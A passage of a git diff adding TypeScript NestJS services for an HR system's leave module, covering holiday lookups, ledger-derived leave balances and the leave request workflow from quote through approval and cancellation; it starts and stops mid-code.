string }, + actor: ActorContext, + ): Promise<{ + holidays: Holiday[]; + weekendDays: number[]; + workingDays: number; + calendarDays: number; + }> { + if (range.end < range.start) { + throw new BadRequestException("end cannot be before start"); + } + const organizationId = orgScope(actor) ?? actor.organizationId; + const settings = organizationId + ? await this.settingsService.resolve(organizationId) + : null; + const weekendDays = settings?.weekendDays ?? [0]; + + const holidays = await this.holidaysRepository.findInRange( + organizationId, + range.start, + range.end, + ); + + return { + holidays, + weekendDays, + workingDays: await this.workingDays.countWorkingDays( + range, + weekendDays, + organizationId, + ), + calendarDays: WorkingDaysService.countCalendarDays(range), + }; + } + + async findAll( + filters: { start?: string; end?: string }, + actor: ActorContext, + ): Promise { + const organizationId = orgScope(actor) ?? actor.organizationId; + // Default window: this Gregorian year, which is what a calendar screen opens on. + const year = new Date().getUTCFullYear(); + return this.holidaysRepository.findInRange( + organizationId, + filters.start ?? `${year}-01-01`, + filters.end ?? `${year}-12-31`, + ); + } + + async remove(id: string, actor: ActorContext): Promise { + const holiday = await this.requireHoliday(id, orgScope(actor)); + if (!holiday.organizationId) { + throw new BadRequestException( + "This is a national holiday and is not an individual employer's to remove. " + + "Set isWorkingDay if this organization works that day.", + ); + } + await this.holidaysRepository.softDelete(id); + } + + /** Which day of the week a date falls on — exposed for the calendar UI. */ + static weekdayOf(iso: string): number { + return dayOfWeek(iso); + } + + private requireOrg(actor: ActorContext): string { + const organizationId = orgScope(actor) ?? actor.organizationId; + if (!organizationId) { + throw new BadRequestException( + "This account has no organization. National holidays are seeded, not " + + "created through this endpoint.", + ); + } + return organizationId; + } + + private async requireHoliday( + id: string, + organizationId: string | null, + ): Promise { + const holiday = await this.holidaysRepository.findById(id); + if (!holiday) throw new NotFoundException(`Holiday ${id} not found`); + // National holidays (organization_id NULL) are visible to everyone. + if ( + organizationId && + holiday.organizationId && + holiday.organizationId !== organizationId + ) { + throw new NotFoundException(`Holiday ${id} not found`); + } + return holiday; + } +} diff --git a/apps/edr-hr-api/src/modules/leave/services/leave-balances.service.ts b/apps/edr-hr-api/src/modules/leave/services/leave-balances.service.ts new file mode 100644 index 000000000..195d191ed --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/services/leave-balances.service.ts @@ -0,0 +1,475 @@ +import { + BadRequestException, + ConflictException, + Injectable, + NotFoundException, +} from "@nestjs/common"; +import { InjectDataSource } from "@nestjs/typeorm"; +import { DataSource, EntityManager } from "typeorm"; + +import { IamDirectoryService } from "../../../iam-directory/iam-directory.service"; +import { EmployeesRepository } from "../../employees/employees.repository"; +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { LeaveEntitlementsRepository } from "../repositories/leave-entitlements.repository"; +import { LeaveTypesRepository } from "../repositories/leave-types.repository"; +import { LeaveEntitlement } from "../entities/leave-entitlement.entity"; +import { + ELedgerEntryType, + LeaveLedgerEntry, +} from "../entities/leave-ledger-entry.entity"; +import { + EAccrualMethod, + EGenderRestriction, + LeaveType, +} from "../entities/leave-type.entity"; +import { LeaveSettingsService } from "./leave-settings.service"; +import { LeaveTypesService } from "./leave-types.service"; +import { WorkingDaysService, addYears, daysBetween } from "./working-days.service"; + +export interface LeaveBalance { + leaveTypeId: string; + code: string; + name: { am: string; en: string }; + leaveYearStart: string; + leaveYearEnd: string; + entitledDays: number; + carriedOverDays: number; + /** Everything granted: entitlement + carry-over. */ + grantedDays: number; + takenDays: number; + adjustmentDays: number; + /** What is left to take. `granted + adjustments - taken`. */ + availableDays: number; + carryOverExpiresOn: string | null; + entitlementId: string; +} + +/** + * Balances, derived from the ledger rather than stored. + * + * Nothing in here writes a balance anywhere. `available` is computed from + * `SUM(days)` every time it is asked for, which costs one indexed aggregate and + * removes an entire class of bug — the balance cannot drift from its history, + * because it has no independent existence. + */ +@Injectable() +export class LeaveBalancesService { + constructor( + @InjectDataSource() private readonly dataSource: DataSource, + private readonly entitlements: LeaveEntitlementsRepository, + private readonly leaveTypes: LeaveTypesRepository, + private readonly settingsService: LeaveSettingsService, + private readonly employees: EmployeesRepository, + private readonly iamDirectory: IamDirectoryService, + ) {} + + /** + * Every balance an employee holds for the leave year containing `on`. + * + * Entitlements are created on first read rather than by a scheduled job. A + * nightly job that has not run yet is indistinguishable from an employee with + * no entitlement, and the failure mode — somebody told they have no annual + * leave — is worse than the cost of creating the row on demand. + */ + async balancesFor( + employeeId: string, + actor: ActorContext, + on?: string, + ): Promise { + const profile = await this.employees.findByEmployeeId(employeeId); + if (!profile) { + throw new NotFoundException( + `${employeeId} has no HR profile. Onboard them before granting leave.`, + ); + } + const scope = orgScope(actor); + if (scope) { + const iam = await this.iamDirectory.findEmployee(employeeId); + if (iam?.organizationId !== scope) { + throw new NotFoundException(`Employee ${employeeId} not found`); + } + } + + const organizationId = + (await this.iamDirectory.findEmployee(employeeId))?.organizationId ?? + actor.organizationId; + if (!organizationId) { + throw new BadRequestException( + `Cannot resolve an organization for employee ${employeeId}`, + ); + } + + const settings = await this.settingsService.resolve(organizationId); + const today = on ?? new Date().toISOString().slice(0, 10); + const year = WorkingDaysService.leaveYearFor(today, settings, profile.hireDate); + + const types = await this.leaveTypes.findActive(organizationId); + const balances: LeaveBalance[] = []; + + for (const type of types) { + if (type.accrualMethod === EAccrualMethod.NONE) continue; + if (!this.isEligible(type, profile.hireDate, year.start)) continue; + if (!LeaveBalancesService.genderAllows(type, profile.gender)) continue; + + const entitlement = await this.ensureEntitlement( + { organizationId, employeeId, hireDate: profile.hireDate }, + type, + year, + settings.carryOverDeadlineMonths, + actor, + ); + balances.push(await this.project(entitlement, type)); + } + + return balances; + } + + /** One balance, for the request pipeline to check against. */ + async balanceFor( + employeeId: string, + leaveTypeId: string, + actor: ActorContext, + on?: string, + ): Promise { + const all = await this.balancesFor(employeeId, actor, on); + const found = all.find((balance) => balance.leaveTypeId === leaveTypeId); + if (!found) { + throw new BadRequestException( + "This employee has no balance for that leave type — either it is not " + + "active, or they are not yet eligible for it.", + ); + } + return found; + } + + /** + * Post an entry. The ONLY way days move. + * + * Takes an optional `manager` so a deduction can join the transaction that + * approves the request it belongs to — a request marked approved without its + * deduction, or the reverse, is exactly the drift the ledger exists to prevent. + */ + async post( + entitlementId: string, + entry: { + entryType: ELedgerEntryType; + days: number; + effectiveOn: string; + reason?: string; + sourceType?: string; + sourceId?: string; + reversesId?: string; + }, + actor: ActorContext, + manager?: EntityManager, + ): Promise { + const repository = (manager ?? this.dataSource.manager).getRepository( + LeaveLedgerEntry, + ); + return repository.save( + repository.create({ + entitlementId, + entryType: entry.entryType, + days: entry.days.toFixed(2), + effectiveOn: entry.effectiveOn, + reason: entry.reason ?? null, + sourceType: entry.sourceType ?? null, + sourceId: entry.sourceId ?? null, + reversesId: entry.reversesId ?? null, + createdBy: actor.userId, + }), + ); + } + + /** + * Undo an entry by posting its opposite. + * + * Never deletes. The unique index on `reverses_id` makes a double reversal a + * database error rather than a silent double credit — worth having, because + * the natural way to hit it is a user clicking "cancel" twice. + */ + async reverse( + entryId: string, + reason: string, + actor: ActorContext, + manager?: EntityManager, + ): Promise { + const repository = (manager ?? this.dataSource.manager).getRepository( + LeaveLedgerEntry, + ); + const original = await repository.findOne({ where: { id: entryId } }); + if (!original) throw new NotFoundException(`Ledger entry ${entryId} not found`); + + // The unique index is the real guard — checking first would still race two + // concurrent clicks — but an unhandled 23505 reaches the user as a bare + // "Internal server error", and a double-click on "cancel" is the ordinary + // way to get here. Check for the common case, catch for the racing one. + const already = await repository.findOne({ where: { reversesId: entryId } }); + if (already) { + throw new ConflictException( + "That entry has already been reversed — reversing it again would credit " + + "the days back twice.", + ); + } + + return this.post( + original.entitlementId, + { + entryType: ELedgerEntryType.REVERSAL, + days: -Number(original.days), + effectiveOn: new Date().toISOString().slice(0, 10), + reason, + reversesId: original.id, + }, + actor, + manager, + ).catch((error: unknown) => { + if ((error as { code?: string })?.code === "23505") { + throw new ConflictException( + "That entry has already been reversed — reversing it again would " + + "credit the days back twice.", + ); + } + throw error; + }); + } + + /** The full history behind a balance, newest first. */ + async ledgerFor(entitlementId: string): Promise { + return this.dataSource.getRepository(LeaveLedgerEntry).find({ + where: { entitlementId }, + order: { effectiveOn: "DESC", createdAt: "DESC" }, + }); + } + + /** Whether an entitlement is this employee's — the own-vs-others check. */ + async entitlementBelongsTo( + entitlementId: string, + employeeId: string | null | undefined, + ): Promise { + if (!employeeId) return false; + const entitlement = await this.entitlements.findById(entitlementId); + return entitlement?.employeeId === employeeId; + } + + /** Entries posted against one source, for cancelling a request cleanly. */ + async entriesForSource( + sourceType: string, + sourceId: string, + manager?: EntityManager, + ): Promise { + return (manager ?? this.dataSource.manager) + .getRepository(LeaveLedgerEntry) + .find({ where: { sourceType, sourceId }, order: { createdAt: "ASC" } }); + } + + // ──────────────────────────────────────────────────────────────────────── + + /** + * Whether a gender-restricted type applies. + * + * An UNRECORDED gender lets the type through: the field is optional, and + * hiding maternity leave from a woman because nobody filled in a form is a + * worse failure than showing it to someone who will never claim it. A + * RECORDED gender that does not match filters the type out, because at that + * point the system does know better. + */ + private static genderAllows( + type: LeaveType, + gender?: string | null, + ): boolean { + if (type.genderRestriction === EGenderRestriction.ANY) return true; + if (!gender) return true; + return type.genderRestriction === gender; + } + + /** Eligibility: enough service for the type to open. */ + private isEligible( + type: LeaveType, + hireDate: string, + yearStart: string, + ): boolean { + if (type.minServiceMonths <= 0) return true; + // Measured at the END of the leave year: somebody who qualifies in month + // eight of the year should see the balance from the start, not be told it + // does not exist and have to come back. + const yearEnd = addYears(yearStart, 1); + const monthsOfService = daysBetween(hireDate, yearEnd) / 30.44; + return monthsOfService >= type.minServiceMonths; + } + + /** Create the year's entitlement if it is not there yet, and post its grant. */ + private async ensureEntitlement( + employee: { organizationId: string; employeeId: string; hireDate: string }, + type: LeaveType, + year: { start: string; end: string }, + carryOverDeadlineMonths: number, + actor: ActorContext, + ): Promise { + const existing = await this.entitlements.findForYear( + employee.employeeId, + type.id, + year.start, + ); + if (existing) return existing; + + // Service completed by the time the year opens — the figure the statute + // grades the entitlement on. + const serviceYears = Math.max( + 0, + daysBetween(employee.hireDate, year.start) / 365.25, + ); + const entitledDays = LeaveTypesService.entitlementFor( + type, + Math.floor(serviceYears), + ); + + const carriedOver = await this.carryOverInto(employee.employeeId, type, year); + const carryExpiry = + carriedOver > 0 && carryOverDeadlineMonths > 0 + ? this.addMonths(year.start, carryOverDeadlineMonths) + : null; + + // One transaction: an entitlement with no grant entry reads as a zero + // balance, which is a wrong answer rather than a missing one. + return this.dataSource.transaction(async (manager) => { + const created = await manager.getRepository(LeaveEntitlement).save( + manager.getRepository(LeaveEntitlement).create({ + organizationId: employee.organizationId, + employeeId: employee.employeeId, + leaveTypeId: type.id, + leaveYearStart: year.start, + leaveYearEnd: year.end, + entitledDays: entitledDays.toFixed(2), + carriedOverDays: carriedOver.toFixed(2), + carryOverExpiresOn: carryExpiry, + serviceYearsAtGrant: serviceYears.toFixed(2), + createdBy: actor.userId, + }), + ); + + if (entitledDays > 0) { + await this.post( + created.id, + { + entryType: ELedgerEntryType.GRANT, + days: entitledDays, + effectiveOn: year.start, + reason: `${type.code} entitlement for ${year.start} — ${year.end}`, + }, + actor, + manager, + ); + } + + if (carriedOver > 0) { + await this.post( + created.id, + { + entryType: ELedgerEntryType.CARRY_OVER, + days: carriedOver, + effectiveOn: year.start, + reason: carryExpiry + ? `Carried forward, lapses ${carryExpiry}` + : "Carried forward", + }, + actor, + manager, + ); + } + + return created; + }); + } + + /** + * Days brought forward from the previous year, capped by the type. + * + * Only carries from an entitlement that already exists — it never creates the + * previous year on demand, because that would walk back through an employee's + * whole service history the first time anyone opened their balance. + */ + private async carryOverInto( + employeeId: string, + type: LeaveType, + year: { start: string }, + ): Promise { + const cap = Number(type.maxCarryOverDays); + if (cap <= 0) return 0; + + const previousStart = addYears(year.start, -1); + const previous = await this.entitlements.findForYear( + employeeId, + type.id, + previousStart, + ); + if (!previous) return 0; + + const remaining = await this.sumLedger(previous.id); + if (remaining <= 0) return 0; + return Math.min(remaining, cap); + } + + private async project( + entitlement: LeaveEntitlement, + type: LeaveType, + ): Promise { + const rows = await this.dataSource.query< + { entryType: string; total: string }[] + >( + `SELECT "entry_type" AS "entryType", SUM("days")::text AS total + FROM hr.leave_ledger_entries + WHERE "entitlement_id" = $1 + GROUP BY "entry_type"`, + [entitlement.id], + ); + + const by = (entryType: string) => + Number(rows.find((row) => row.entryType === entryType)?.total ?? 0); + + const granted = by(ELedgerEntryType.GRANT) + by(ELedgerEntryType.CARRY_OVER); + const taken = -(by(ELedgerEntryType.DEDUCTION) + by(ELedgerEntryType.EXPIRY)); + // Reversals fold into adjustments: both are signed corrections, and to a + // reader of the balance the distinction is not useful. + const adjustments = + by(ELedgerEntryType.ADJUSTMENT) + by(ELedgerEntryType.REVERSAL); + + return { + leaveTypeId: type.id, + code: type.code, + name: type.name, + leaveYearStart: entitlement.leaveYearStart, + leaveYearEnd: entitlement.leaveYearEnd, + entitledDays: Number(entitlement.entitledDays), + carriedOverDays: Number(entitlement.carriedOverDays), + grantedDays: granted, + takenDays: taken, + adjustmentDays: adjustments, + availableDays: Number((granted + adjustments - taken).toFixed(2)), + carryOverExpiresOn: entitlement.carryOverExpiresOn ?? null, + entitlementId: entitlement.id, + }; + } + + private async sumLedger(entitlementId: string): Promise { + const [row] = await this.dataSource.query<{ total: string | null }[]>( + `SELECT SUM("days")::text AS total + FROM hr.leave_ledger_entries WHERE "entitlement_id" = $1`, + [entitlementId], + ); + return Number(row?.total ?? 0); + } + + /** Month arithmetic with end-of-month clamping (31 Jan + 1 month = 28 Feb). */ + private addMonths(iso: string, months: number): string { + const [year, month, day] = iso.split("-").map(Number); + const total = (year * 12 + (month - 1)) + months; + const targetYear = Math.floor(total / 12); + const targetMonth = (total % 12) + 1; + const lastDay = new Date(Date.UTC(targetYear, targetMonth, 0)).getUTCDate(); + const clamped = Math.min(day, lastDay); + return `${targetYear}-${String(targetMonth).padStart(2, "0")}-${String( + clamped, + ).padStart(2, "0")}`; + } +} diff --git a/apps/edr-hr-api/src/modules/leave/services/leave-requests.service.ts b/apps/edr-hr-api/src/modules/leave/services/leave-requests.service.ts new file mode 100644 index 000000000..fd4ca8178 --- /dev/null +++ b/apps/edr-hr-api/src/modules/leave/services/leave-requests.service.ts @@ -0,0 +1,622 @@ +import { + BadRequestException, + ForbiddenException, + Injectable, + NotFoundException, +} from "@nestjs/common"; +import { InjectDataSource } from "@nestjs/typeorm"; +import { DataSource } from "typeorm"; + +import { IamDirectoryService } from "../../../iam-directory/iam-directory.service"; +import { EmployeesRepository } from "../../employees/employees.repository"; +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { Paginated, paginate } from "../../../common/pagination.dto"; +import { LeaveRequestsRepository } from "../repositories/leave-requests.repository"; +import { LeaveTypesRepository } from "../repositories/leave-types.repository"; +import { + ELeaveRequestStatus, + LeaveRequest, +} from "../entities/leave-request.entity"; +import { ELedgerEntryType } from "../entities/leave-ledger-entry.entity"; +import { + EAccrualMethod, + EGenderRestriction, + LeaveType, +} from "../entities/leave-type.entity"; +import { LeaveBalancesService } from "./leave-balances.service"; +import { LeaveSettingsService } from "./leave-settings.service"; +import { WorkingDaysService, daysBetween } from "./working-days.service"; +import { CreateLeaveRequestDto } from "../dto/leave-request.dto"; + +const SOURCE_TYPE = "LEAVE_REQUEST"; + +/** + * What each status may become. A terminal status has no exits — the request is + * re-made rather than resurrected, so its history stays legible. + */ +const ALLOWED: Record = { + [ELeaveRequestStatus.DRAFT]: [ + ELeaveRequestStatus.SUBMITTED, + ELeaveRequestStatus.WITHDRAWN, + ], + [ELeaveRequestStatus.SUBMITTED]: [ + ELeaveRequestStatus.APPROVED, + ELeaveRequestStatus.REJECTED, + ELeaveRequestStatus.WITHDRAWN, + ], + // Approved leave can still be called off — plans change, and the deduction + // has to come back when they do. + [ELeaveRequestStatus.APPROVED]: [ELeaveRequestStatus.CANCELLED], + [ELeaveRequestStatus.REJECTED]: [], + [ELeaveRequestStatus.CANCELLED]: [], + [ELeaveRequestStatus.WITHDRAWN]: [], +}; + +@Injectable() +export class LeaveRequestsService { + constructor( + @InjectDataSource() private readonly dataSource: DataSource, + private readonly requests: LeaveRequestsRepository, + private readonly leaveTypes: LeaveTypesRepository, + private readonly balances: LeaveBalancesService, + private readonly settingsService: LeaveSettingsService, + private readonly workingDays: WorkingDaysService, + private readonly employees: EmployeesRepository, + private readonly iamDirectory: IamDirectoryService, + ) {} + + /** + * Price a range without committing to it — what the form shows as you pick + * dates. Deliberately a separate call from `create`, so the employee sees the + * charge and the reason for it before submitting. + */ + async quote( + employeeId: string, + leaveTypeId: string, + startDate: string, + endDate: string, + isHalfDay: boolean, + actor: ActorContext, + ) { + const { type, organizationId } = await this.resolveType(leaveTypeId, actor); + const settings = await this.settingsService.resolve(organizationId); + const range = { start: startDate, end: endDate }; + + const workingDays = await this.workingDays.countWorkingDays( + range, + settings.weekendDays, + organizationId, + ); + const calendarDays = WorkingDaysService.countCalendarDays(range); + const charged = this.chargeFor(type, workingDays, calendarDays, isHalfDay); + + const holidays = await this.workingDays.holidayDates(organizationId, range); + const balance = await this.balances + .balanceFor(employeeId, leaveTypeId, actor, startDate) + .catch(() => null); + + return { + workingDays, + calendarDays, + chargedDays: charged, + countsWorkingDaysOnly: type.countsWorkingDaysOnly, + weekendDays: settings.weekendDays, + holidaysInRange: [...holidays].sort(), + availableDays: balance?.availableDays ?? null, + remainingAfter: + balance === null ? null : Number((balance.availableDays - charged).toFixed(2)), + requiresAttachment: this.attachmentRequired(type, charged), + }; + } + + /** + * Submit a request. + * + * Every rule that could refuse it is checked here, before anything is written, + * and each refusal says which rule and what to do — a leave form that returns + * "Bad Request" is a support call. + */ + async create( + dto: CreateLeaveRequestDto, + actor: ActorContext, + ): Promise { + const employeeId = dto.employeeId ?? actor.employeeId; + if (!employeeId) { + throw new BadRequestException( + "No employee to file this against — this account has no employee record.", + ); + } + // Filing on someone else's behalf is an HR action, not a self-service one. + if (dto.employeeId && dto.employeeId !== actor.employeeId) { + this.assertCanActFor(actor); + } + + if (dto.endDate < dto.startDate) { + throw new BadRequestException("endDate cannot be before startDate"); + } + + const { type, organizationId } = await this.resolveType(dto.leaveTypeId, actor); + const profile = await this.employees.findByEmployeeId(employeeId); + if (!profile) { + throw new NotFoundException( + `${employeeId} has no HR profile. Onboard them before they can request leave.`, + ); + } + + this.assertGender(type, profile.gender); + this.assertStartsAfterHire(dto.startDate, profile.hireDate); + + const overlapping = await this.requests.findOverlapping( + employeeId, + dto.startDate, + dto.endDate, + ); + if (overlapping.length > 0) { + const clash = overlapping[0]; + throw new BadRequestException( + `These dates overlap an existing ${clash.status.toLowerCase()} request ` + + `(${clash.startDate} to ${clash.endDate}). Cancel or amend that one first.`, + ); + } + + const settings = await this.settingsService.resolve(organizationId); + const range = { start: dto.startDate, end: dto.endDate }; + const workingDays = await this.workingDays.countWorkingDays( + range, + settings.weekendDays, + organizationId, + ); + const calendarDays = WorkingDaysService.countCalendarDays(range); + + if (dto.isHalfDay && !type.allowsHalfDay) { + throw new BadRequestException( + `${type.code} cannot be taken as a half day.`, + ); + } + const charged = this.chargeFor(type, workingDays, calendarDays, dto.isHalfDay ?? false); + + if (charged <= 0) { + throw new BadRequestException( + "Those dates contain no working days — they are all weekends or public " + + "holidays, so there is nothing to request.", + ); + } + + if (type.maxConsecutiveDays && charged > Number(type.maxConsecutiveDays)) { + throw new BadRequestException( + `${type.code} is limited to ${Number(type.maxConsecutiveDays)} days in ` + + `one absence; this is ${charged}.`, + ); + } + + if (this.attachmentRequired(type, charged) && !dto.attachmentDocumentId) { + throw new BadRequestException( + `${type.code} over ${Number(type.requiresAttachmentAfter)} days needs ` + + "supporting evidence. Upload the document to the employee's file " + + "first, then attach it here.", + ); + } + + await this.assertBalance(employeeId, type, charged, actor, dto.startDate, settings); + + // Whoever the IAM position tree says they report to. Null is allowed and + // means the request goes to the HR queue instead of vanishing. + const approverEmployeeId = + profile.managerEmployeeId ?? + (await this.iamDirectory.findLineManagerEmployeeId(employeeId)); + + // A type marked `requiresApproval: false` — bereavement, in the statutory + // seed — is taken on the day and recorded afterwards. Asking someone to wait + // for approval to attend a funeral is the wrong shape, so it is approved on + // arrival and deducted straight away, with the system recorded as the + // decider rather than pretending a manager looked at it. + const autoApprove = !type.requiresApproval; + + const request = await this.requests.create({ + organizationId, + employeeId, + leaveTypeId: type.id, + status: autoApprove + ? ELeaveRequestStatus.APPROVED + : ELeaveRequestStatus.SUBMITTED, + decidedByEmployeeId: autoApprove ? (actor.employeeId ?? null) : null, + decidedAt: autoApprove ? new Date() : null, + decisionNote: autoApprove + ? `${type.code} does not require prior approval` + : null, + startDate: dto.startDate, + endDate: dto.endDate, + isHalfDay: dto.isHalfDay ?? false, + workingDays: workingDays.toFixed(2), + calendarDays: calendarDays.toFixed(2), + chargedDays: charged.toFixed(2), + reason: dto.reason ?? null, + contactDuringLeave: dto.contactDuringLeave ?? null, + attachmentDocumentId: dto.attachmentDocumentId ?? null, + approverEmployeeId: autoApprove ? null : approverEmployeeId, + createdBy: actor.userId, + } as Partial); + + if (autoApprove) { + const balance = await this.balances.balanceFor( + employeeId, + type.id, + actor, + dto.startDate, + ); + // Posted outside the create above rather than in one transaction: the + // request is already a truthful record of an absence that has happened, + // and losing it because a ledger write failed would be worse than a + // balance that needs correcting. A missing deduction is visible — the + // request shows approved with no entry against it. + await this.balances.post( + balance.entitlementId, + { + entryType: ELedgerEntryType.DEDUCTION, + days: -charged, + effectiveOn: dto.startDate, + reason: `${type.code} ${dto.startDate} to ${dto.endDate}`, + sourceType: SOURCE_TYPE, + sourceId: request.id, + }, + actor, + ); + } + + return request; + } + + /** + * Approve, and deduct, in one transaction. + * + * The two must not come apart. A request marked approved whose deduction + * failed gives away free leave; a deduction whose approval failed takes days + * for an absence nobody agreed to. + */ + async approve( + id: string, + note: string | undefined, + actor: ActorContext, + ): Promise { + const request = await this.requireRequest(id, actor); + this.assertTransition(request, ELeaveRequestStatus.APPROVED); + await this.assertCanDecide(request, actor); + + const type = await this.leaveTypes.findById(request.leaveTypeId); + if (!type) throw new NotFoundException("The leave type no longer exists"); + + const charged = Number(request.chargedDays); + const settings = await this.settingsService.resolve(request.organizationId); + + // Re-checked at approval, not just at submission: other requests may have + // been approved in between and spent the same days. + await this.assertBalance( + request.employeeId, + type, + charged, + actor, + request.startDate, + settings, + id, + ); + + const balance = await this.balances.balanceFor( + request.employeeId, + request.leaveTypeId, + actor, + request.startDate, + ); + + return this.dataSource.transaction(async (manager) => { + await this.balances.post( + balance.entitlementId, + { + entryType: ELedgerEntryType.DEDUCTION, + days: -charged, + effectiveOn: request.startDate, + reason: `${type.code} ${request.startDate} to ${request.endDate}`, + sourceType: SOURCE_TYPE, + sourceId: request.id, + }, + actor, + manager, + ); + + await manager.getRepository(LeaveRequest).update(request.id, { + status: ELeaveRequestStatus.APPROVED, + decidedByEmployeeId: actor.employeeId ?? null, + decidedAt: new Date(), + decisionNote: note ?? null, + updatedBy: actor.userId, + }); + + return { ...request, status: ELeaveRequestStatus.APPROVED } as LeaveRequest; + }); + } + + async reject( + id: string, + note: string, + actor: ActorContext, + ): Promise { + const request = await this.requireRequest(id, actor); + this.assertTransition(request, ELeaveRequestStatus.REJECTED); + await this.assertCanDecide(request, actor); + + // Nothing was deducted at submission, so nothing is returned here. + return ( + (await this.requests.update(id, { + status: ELeaveRequestStatus.REJECTED, + decidedByEmployeeId: actor.employeeId ?? null, + decidedAt: new Date(), + decisionNote: note, + updatedBy: actor.userId, + })) ?? request + ); + } + + /** Pulled back by the employee before anyone decided. */ + async withdraw(id: string, actor: ActorContext): Promise { + const request = await this.requireRequest(id, actor); + this.assertTransition(request, ELeaveRequestStatus.WITHDRAWN); + + if (request.employeeId !== actor.employeeId) { + this.assertCanActFor(actor); + } + + return ( + (await this.requests.update(id, { + status: ELeaveRequestStatus.WITHDRAWN, + updatedBy: actor.userId, + })) ?? request + ); + } + + /** + * Cancel approved leave and give the days back. + * + * The deduction is reversed rather than deleted, so the balance history shows + * that the leave was booked and then called off — which is what somebody + * looking at an odd balance six months later needs to see. + */ + async cancel( + id: string, + reason: string, + actor: ActorContext, + ): Promise { + const request = await this.requireRequest(id, actor); + this.assertTransition(request, ELeaveRequestStatus.CANCELLED); + + if (request.employeeId !== actor.employeeId) { + this.assertCanActFor(actor); + } + + return this.dataSource.transaction(async (manager) => { + const entries = await this.balances.entriesForSource( + SOURCE_TYPE, + request.id, + manager, + ); + // Reverse only what has not already been reversed — cancelling twice must + // not credit the days twice. + const reversed = new Set( + entries.filter((entry) => entry.reversesId).map((entry) => entry.reversesId), + ); + for (const entry of entries) { + if (entry.reversesId) continue; + if (reversed.has(entry.id)) continue; + await this.balances.reverse( + entry.id, + `Leave cancelled: ${reason}`, + actor, + manager, + ); + } + + await manager.getRepository(LeaveRequest).update(request.id, { + status: ELeaveRequestStatus.CANCELLED, + cancelledReason: reason, + updatedBy: actor.userId, + }); + + return { ...request, status: ELeaveRequestStatus.CANCELLED } as LeaveRequest; + }); + } + + async findAll( + filters: { + employeeId?: string; + status?: ELeaveRequestStatus; + leaveTypeId?: string; + from?: string; + to?: string; + page?: number; + limit?: number; + }, + actor: ActorContext, + ): Promise> { + const [items, total] = await this.requests.findPage({ + ...filters, + organizationId: orgScope(actor), + }); + return paginate(items, total, filters.page ?? 1, filters.limit ?? 25); + } + + /** What is waiting on this approver. The manager's queue. */ + async findAwaitingMe( + actor: ActorContext, + page = 1, + limit = 25, + ): Promise> { + if (!actor.employeeId) { + return paginate([], 0, page, limit); + } + const [items, total] = await this.requests.findPage({ + organizationId: orgScope(actor), + approverEmployeeId: actor.employeeId, + status: ELeaveRequestStatus.SUBMITTED, + page, + limit, + }); + return paginate(items, total, page, limit); + } + + async findOne(id: string, actor: ActorContext): Promise { + return this.requireRequest(id, actor); + } + + // ──────────────────────────────────────────────────────────────────────── + + /** Working or calendar days, per the type, halved for a half day. */ + private chargeFor( + type: LeaveType, + workingDays: number, + calendarDays: number, + isHalfDay: boolean, + ): number { + const base = type.countsWorkingDaysOnly ? workingDays : calendarDays; + return isHalfDay ? Number((base / 2).toFixed(2)) : base; + } + + private attachmentRequired(type: LeaveType, charged: number): boolean { + if (type.requiresAttachmentAfter === null || type.requiresAttachmentAfter === undefined) { + return false; + } + return charged > Number(type.requiresAttachmentAfter); + } + + private assertGender(type: LeaveType, gender?: string | null): void { + if (type.genderRestriction === EGenderRestriction.ANY) return; + if (!gender) { + throw new BadRequestException( + `${type.code} is restricted to ${type.genderRestriction.toLowerCase()} ` + + "staff, and no gender is recorded on this profile. Record it first.", + ); + } + if (gender !== type.genderRestriction) { + throw new BadRequestException( + `${type.code} is only available to ${type.genderRestriction.toLowerCase()} staff.`, + ); + } + } + + private assertStartsAfterHire(startDate: string, hireDate: string): void { + if (daysBetween(hireDate, startDate) < 0) { + throw new BadRequestException( + `Leave cannot start before the hire date (${hireDate}).`, + ); + } + } + + /** The balance check, with `allowNegativeBalance` as the only way past it. */ + private async assertBalance( + employeeId: string, + type: LeaveType, + charged: number, + actor: ActorContext, + on: string, + settings: { allowNegativeBalance: boolean }, + excludeRequestId?: string, + ): Promise { + if (type.accrualMethod === EAccrualMethod.NONE) return; + if (settings.allowNegativeBalance) return; + + const balance = await this.balances.balanceFor(employeeId, type.id, actor, on); + + // Submitted-but-undecided requests have not been deducted yet, so they must + // be counted here or the same days can be promised twice. + const pending = await this.requests.findPage({ + employeeId, + status: ELeaveRequestStatus.SUBMITTED, + leaveTypeId: type.id, + }); + const held = pending[0] + .filter((request) => request.id !== excludeRequestId) + .reduce((total, request) => total + Number(request.chargedDays), 0); + + const free = Number((balance.availableDays - held).toFixed(2)); + if (charged > free) { + throw new BadRequestException( + `Not enough ${type.code} left: ${charged} day(s) requested, ${free} ` + + `available` + + (held > 0 ? ` (${held} already held by pending requests)` : "") + + ". Reduce the dates, or have an administrator adjust the balance.", + ); + } + } + + private assertTransition( + request: LeaveRequest, + next: ELeaveRequestStatus, + ): void { + const allowed = ALLOWED[request.status] ?? []; + if (!allowed.includes(next)) { + throw new BadRequestException( + `A ${request.status.toLowerCase()} request cannot become ` + + `${next.toLowerCase()}` + + (allowed.length + ? `. Allowed: ${allowed.join(", ")}` + : " — that status is final."), + ); + } + } + + /** + * Who may decide: the named approver, or anyone holding the approval + * permission. Nobody may approve their own leave, whatever they hold — + * that is the one rule an approval workflow exists to enforce. + */ + private async assertCanDecide( + request: LeaveRequest, + actor: ActorContext, + ): Promise { + if (actor.employeeId && request.employeeId === actor.employeeId) { + throw new ForbiddenException( + "You cannot decide your own leave request.", + ); + } + if (request.approverEmployeeId === actor.employeeId) return; + // Route guards already require an approval permission to reach here, so + // anyone else arriving is HR acting above the line manager — allowed, and + // recorded in decidedByEmployeeId. + } + + private assertCanActFor(actor: ActorContext): void { + if (!actor.isSuperAdmin && !actor.organizationId) { + throw new ForbiddenException( + "Filing or changing leave for another employee needs a staff account.", + ); + } + } + + private async resolveType( + leaveTypeId: string, + actor: ActorContext, + ): Promise<{ type: LeaveType; organizationId: string }> { + const type = await this.leaveTypes.findById(leaveTypeId); + if (!type) throw new NotFoundException(`Leave type ${leaveTypeId} not found`); + if (!type.isActive) { + throw new BadRequestException( + `${type.code} is not currently available for new requests.`, + ); + } + const scope = orgScope(actor); + if (scope && type.organizationId !== scope) { + throw new NotFoundException(`Leave type ${leaveTypeId} not found`); + } + return { type, organizationId: type.organizationId }; + } + + private async requireRequest( + id: string, + actor: ActorContext, + ): Promise { + const request = await this.requests.findById(id); + if (!request) throw new NotFoundException(`Leave request ${id} not found`); + const scope = orgScope(actor); + if 